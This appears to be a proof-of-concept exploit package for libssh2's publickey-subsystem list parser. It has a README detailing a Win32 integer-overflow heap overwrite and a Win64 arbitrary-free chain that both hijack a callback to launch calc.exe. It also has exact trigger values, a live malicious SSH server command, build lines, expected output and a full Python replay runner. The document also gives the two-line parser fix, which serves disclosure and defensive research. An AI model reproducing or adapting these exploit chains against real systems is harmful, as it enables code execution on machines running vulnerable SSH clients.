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# libssh2 publickey list calc PoCs
Windows calc payload proofs for the libssh2 publickey subsystem list parser.
Verified target:
```text
libssh2/libssh2 master
e75b4bae3c68a9bde71de1fb6b0fba5b0c716020
2026-06-24
```
## Summary
`libssh2_publickey_list_fetch()` accepts a stream of publickey-subsystem response packets and grows an array of `libssh2_publickey_list` entries as `publickey` responses arrive.
Two exploit paths are included:
```text
Win32 allocation-wrap chain
num_attrs * sizeof(libssh2_publickey_attribute) wraps to a 4-byte allocation.
The attribute parser then writes attacker-controlled fields past the tiny attrs buffer.
The harness grooms an adjacent callback slot and launches calc from the overwritten callback.
Win64 publickey-list cleanup chain
A recognized but unexpected version response frees an attacker-shaped response buffer.
A malformed publickey response then grows the list allocation into that same heap slot.
Cleanup walks attacker-shaped list entries and frees attacker-selected attrs pointers.
The harness routes libssh2 allocation callbacks through a tracked fail-closed heap wrapper,
reclaims the freed victim object, and launches calc through a stale callback.
```
The fixed controls used by the checked binaries are:
```text
zero list[keys] immediately after list growth
reject num_attrs values that overflow the attrs allocation multiplication
```
## Files
```text
poc/publickey_win32_heap_groom_calc_repro.c
poc/publickey_win64_arbitrary_free_calc_repro.c
poc/live_publickey_server.py
poc/live_publickey_client_win64.c
replay-calc-poc.py
evidence/2026-06-25-local-calc-replay.txt
SHA256SUMS.txt
```
The replay runner builds temporary vulnerable and checked executables under `build/`. The checked executables link against a publickey object with the two parser hardening changes above. The vulnerable executables link against the target commit. The live transport files run the Win64 cleanup chain through a real SSH session and the publickey subsystem.
## Quick replay
Set `LIBSSH2_SRC` to a libssh2 checkout and `LIBSSH2_OBJDIR` to a directory containing these objects:
```text
publickey_win32.o
publickey_win32_checked.o
publickey_win64.o
publickey_win64_checked.o
```
Run with Python 3:
```sh
python3 replay-calc-poc.py
```
Windows runs the generated PE harnesses directly. Linux and macOS run them through Wine when `wine` is on `PATH`.
Expected proof signals:
```text
x86_vulnerable_calc=hit
calc_launch=success
x86 calc payload reached
x86_checked_calc=no_hit
x64_vulnerable_calc_exit=77
victim_freed=1
same_as_victim=1
calc_launch=success
x64 calc payload reached
x64_checked_calc_exit=0
victim_freed=0
safe_callback_reached
```
The replay builds local executables, starts `calc.exe` for both vulnerable harnesses, and writes transient marker files during execution. The generated files are runtime artifacts and are left out of the tracked tree.
## Win32 chain
The 32-bit structure size gives a direct allocation-wrap primitive:
```text
sizeof(libssh2_publickey_attribute) = 20
num_attrs = 0x0ccccccd
0x0ccccccd * 20 = 0x100000004
32-bit allocation size = 4
```
The response packet carries a normal `publickey` response header, small key name/blob strings, and a huge `num_attrs`. Once the attrs allocation wraps to four bytes, the parser enters the attribute loop and writes:
```text
name_len
name pointer
value_len
value pointer
mandatory byte
```
The harness arranges a victim word near the tiny allocation. The overflow replaces that victim word with the callback address. The callback then launches calc.
Representative replay:
```text
attrs_alloc requested=4 ptr=0153a280 msize=4
victim[4064]=0153a2c0 delta=64 word=009c150d
marker_function_reached address=009c150d
calc_launch=success
```
The checked Win32 binary rejects the oversized attribute count before allocation, so the overwritten callback path stays unreachable.
## Win64 chain
The 64-bit structure size removes the tiny allocation wrap for the same value. The useful Win64 primitive comes from the list cleanup path.
Relevant source shape:
```text
list grows with SSH2_REALLOC()
new list entry remains uninitialized before parsing finishes
unexpected recognized version response is freed and parsing continues
malformed publickey response forces the error path
libssh2_publickey_list_free() trusts packet and attrs until a sentinel is found
```
The harness sends:
```text
version groom response sized like the future list allocation
malformed publickey response
```
The groom response places the victim object pointer at the `attrs` offset of the first future list entry. The malformed response makes parsing fail before the new entry and sentinel are initialized. Cleanup then frees the victim through the attacker-shaped `attrs` field.
The harness uses libssh2 custom allocator callbacks backed by a tracked fail-closed heap wrapper. That wrapper accepts the valid victim free, ignores an unrelated invalid packet free, and leaves the process alive long enough for the stale object to be reclaimed. A same-size allocation then lands on the freed victim slot and installs the calc callback.
Representative replay:
```text
free ptr=000001DE60380860
free_ignored_unknown ptr=000001DE60380150
fetch rc=-1 num_keys=0 victim_freed=1 heap_free_failures=1
replacement=000001DE60380860 same_as_victim=1
calc_payload_reached callback=00007FF76A5118A5
calc_launch=success
```
The checked Win64 binary zeroes the grown list entry before parsing, so cleanup frees the actual response/list allocations and the stale victim callback remains unchanged.
## Affected code areas
```text
src/publickey.c:895-908
list growth with SSH2_REALLOC()
src/publickey.c:1049-1053
attrs allocation uses num_attrs * sizeof(libssh2_publickey_attribute)
src/publickey.c:1060-1110
attribute loop writes fields into attrs[i]
src/publickey.c:1123-1128
unexpected recognized response frees listFetch_data and continues
src/publickey.c:1138-1139
error path frees the partially built list
src/publickey.c:1158-1161
list_free trusts packet and attrs fields until a sentinel entry
```
## Rebuild notes
The replay runner uses MinGW-w64 and links against `publickey.c` objects compiled from the target commit and from the checked variant.
Equivalent source build shape:
```sh
x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win64_arbitrary_free_calc_repro.exe poc/publickey_win64_arbitrary_free_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win64.o" -lws2_32 -lbcrypt
x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win64_arbitrary_free_calc_repro_checked.exe poc/publickey_win64_arbitrary_free_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win64_checked.o" -lws2_32 -lbcrypt
i686-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win32_heap_groom_calc_repro.exe poc/publickey_win32_heap_groom_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win32.o" -lws2_32 -lbcrypt
i686-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win32_heap_groom_calc_repro_checked.exe poc/publickey_win32_heap_groom_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win32_checked.o" -lws2_32 -lbcrypt
```
## Fix shape
The parser hardening is compact:
```text
After list growth succeeds:
memset(&list[keys], 0, sizeof(list[keys]))
Before attrs allocation:
if num_attrs exceeds SIZE_MAX / sizeof(libssh2_publickey_attribute), reject the response
```
These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked executables.
## Live SSH transport proof
The live transport proof keeps the same Win64 cleanup primitive but drives it through a localhost SSH connection. `poc/live_publickey_server.py` is a Paramiko SSH server that accepts password authentication, opens the `publickey` subsystem, sends the groomed version response, and then sends the malformed `publickey` response. `poc/live_publickey_client_win64.c` is a target-shaped Win64 libssh2 client that connects to that server, uses the public libssh2 APIs, and routes libssh2 allocation callbacks through a tracked heap wrapper.
The client reserves the victim object at `0x0000013370000000`. The server default writes that address at offset `27`, which maps to the first future list entry's `attrs` field for this Win64 build shape.
Server:
```sh
python3 poc/live_publickey_server.py --host 127.0.0.1 --port 2228 --victim 0x0000013370000000 --offset 27
```
Client:
```sh
x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o live_publickey_client_win64.exe poc/live_publickey_client_win64.c "${LIBSSH2_OBJDIR}/publickey_win64.o" -lws2_32 -lbcrypt
wine ./live_publickey_client_win64.exe 127.0.0.1 2228 calc
```
Expected proof signals:
```text
ssh_handshake=ok
ssh_auth=ok
publickey_init=ok
victim_free_callback ptr=0000013370000000
replacement=0000013370000000 same_as_victim=1
calc_payload_reached
calc_launch=success
```
The live proof is still target-shaped. It demonstrates that the publickey list parser state machine can be driven over an SSH transport into stale-object cleanup and a reclaimed callback under the demonstrated allocator and layout conditions.
@@ -0,0 +1,7 @@
1FB2F963B1CC4AE006057DF5B1AD4582A8B019A8E077BCA70766123B4BA8CED0 evidence/2026-06-25-local-calc-replay.txt
641801B428B2046B92F164C15761182E2D011E5076FC4B0A72AD225F0243DAFD poc/publickey_win32_heap_groom_calc_repro.c
D381904C6F61BC8BEE9711236CA96509BBEC35069DED18C76443A0E7C6D776E7 poc/publickey_win64_arbitrary_free_calc_repro.c
D3D3D346F0D7CA1E2EC6F203D34630B7A9AE912E6B2C820D249CF7A49C8C026D poc/live_publickey_client_win64.c
B36ED903930E703E9768E2AB585BC013DA1E26E8C1A3D0B7C9B6D7C4FAFAA159 poc/live_publickey_server.py
7B2574A923F87325975116EC0C3489AD6ABA516AA87869989E43013A6410258A README.md
2FAEE0238091D998A6D9E069B0B5D001F9E5AF7CDFA9A9DCA4346037D5526B64 replay-calc-poc.py
@@ -0,0 +1,244 @@
import os
import platform
import re
import shutil
import subprocess
import sys
from pathlib import Path
ROOT = Path(__file__).resolve().parent
POC = ROOT / "poc"
BUILD = ROOT / "build"
MARKERS = [
ROOT / "x86_calc_payload_reached.txt",
ROOT / "x64_calc_payload_reached.txt",
]
TARGETS = [
{
"name": "x86_vulnerable",
"compiler_env": "CC_WIN32",
"compiler": "i686-w64-mingw32-gcc",
"source": POC / "publickey_win32_heap_groom_calc_repro.c",
"object": "publickey_win32.o",
"exe": BUILD / "publickey_win32_heap_groom_calc_repro.exe",
},
{
"name": "x86_checked",
"compiler_env": "CC_WIN32",
"compiler": "i686-w64-mingw32-gcc",
"source": POC / "publickey_win32_heap_groom_calc_repro.c",
"object": "publickey_win32_checked.o",
"exe": BUILD / "publickey_win32_heap_groom_calc_repro_checked.exe",
},
{
"name": "x64_vulnerable",
"compiler_env": "CC_WIN64",
"compiler": "x86_64-w64-mingw32-gcc",
"source": POC / "publickey_win64_arbitrary_free_calc_repro.c",
"object": "publickey_win64.o",
"exe": BUILD / "publickey_win64_arbitrary_free_calc_repro.exe",
},
{
"name": "x64_checked",
"compiler_env": "CC_WIN64",
"compiler": "x86_64-w64-mingw32-gcc",
"source": POC / "publickey_win64_arbitrary_free_calc_repro.c",
"object": "publickey_win64_checked.o",
"exe": BUILD / "publickey_win64_arbitrary_free_calc_repro_checked.exe",
},
]
def runner():
if platform.system() == "Windows":
print("runner=native-windows")
return []
wine = shutil.which("wine") or shutil.which("wine64")
if wine is None:
print("runner=missing-wine")
print("install_wine_or_run_on_windows")
sys.exit(2)
print(f"runner={wine}")
return [wine]
def env_path(name):
value = os.environ.get(name, "").strip()
if value == "":
print(f"missing_env={name}")
sys.exit(2)
return Path(value)
def compiler(target):
value = os.environ.get(target["compiler_env"], "").strip()
selected = target["compiler"]
if value != "":
selected = value
found = shutil.which(selected)
if found is None:
print(f"missing_tool={selected}")
sys.exit(2)
return found
def build_targets():
src = env_path("LIBSSH2_SRC")
objdir = env_path("LIBSSH2_OBJDIR")
BUILD.mkdir(exist_ok=True)
for target in TARGETS:
obj = objdir / target["object"]
if obj.exists() is False:
print(f"missing_object={obj}")
sys.exit(2)
command = [
compiler(target),
"-O2",
"-s",
"-DLIBSSH2_WINCNG",
f"-I{src / 'src'}",
f"-I{src / 'include'}",
"-o",
str(target["exe"]),
str(target["source"]),
str(obj),
"-lws2_32",
"-lbcrypt",
]
print(f"building={target['name']}")
completed = subprocess.run(
command,
cwd=str(ROOT),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
errors="replace",
)
if completed.returncode != 0:
print(completed.stdout, end="")
print(f"build_failed={target['name']} exit={completed.returncode}")
sys.exit(completed.returncode)
def run_exe(prefix, exe, args):
completed = subprocess.run(
prefix + [str(exe)] + args,
cwd=str(ROOT),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
errors="replace",
)
return completed.returncode, completed.stdout.splitlines()
def show_matches(lines, patterns):
expression = re.compile("|".join(patterns))
for line in lines:
if expression.search(line):
print(line)
def remove_markers():
for marker in MARKERS:
try:
marker.unlink()
except FileNotFoundError:
pass
def show_marker(name):
marker = ROOT / name
if marker.exists():
text = marker.read_text(errors="replace").strip()
if len(text) > 0:
print(text)
def replay_x86(prefix):
print("== Win32 publickey-list calc chain ==")
vulnerable = BUILD / "publickey_win32_heap_groom_calc_repro.exe"
checked = BUILD / "publickey_win32_heap_groom_calc_repro_checked.exe"
args = ["3", "n", "call", "4068"]
hit = 0
hit_lines = []
for attempt in range(1, 31):
code, lines = run_exe(prefix, vulnerable, args)
if code == 77:
hit = attempt
hit_lines = lines
break
if hit > 0:
print(f"x86_vulnerable_calc=hit attempt={hit} limit=30")
show_matches(hit_lines, ["attrs_alloc", r"victim\[", "marker_function_reached", "calc_launch"])
else:
print("x86_vulnerable_calc=miss limit=30")
show_marker("x86_calc_payload_reached.txt")
checked_hit = 0
for attempt in range(1, 31):
code, lines = run_exe(prefix, checked, args)
if code == 77:
checked_hit = attempt
break
if checked_hit > 0:
print(f"x86_checked_calc=unexpected_hit attempt={checked_hit} limit=30")
else:
print("x86_checked_calc=no_hit limit=30")
def replay_x64(prefix):
print("")
print("== Win64 publickey-list calc chain ==")
vulnerable = BUILD / "publickey_win64_arbitrary_free_calc_repro.exe"
checked = BUILD / "publickey_win64_arbitrary_free_calc_repro_checked.exe"
code, lines = run_exe(prefix, vulnerable, ["calc"])
print(f"x64_vulnerable_calc_exit={code}")
show_matches(
lines,
[
"victim=",
"free ptr=",
"free_ignored_unknown",
"victim_freed=",
"same_as_victim=1",
"calc_payload_reached",
"calc_launch",
],
)
show_marker("x64_calc_payload_reached.txt")
checked_code, checked_lines = run_exe(prefix, checked, ["calc"])
print(f"x64_checked_calc_exit={checked_code}")
show_matches(
checked_lines,
[
"victim_freed=",
"same_as_victim=",
"safe_callback_reached",
"calc_payload_reached",
"calc_launch",
],
)
def main():
remove_markers()
build_targets()
prefix = runner()
replay_x86(prefix)
replay_x64(prefix)
if __name__ == "__main__":
main()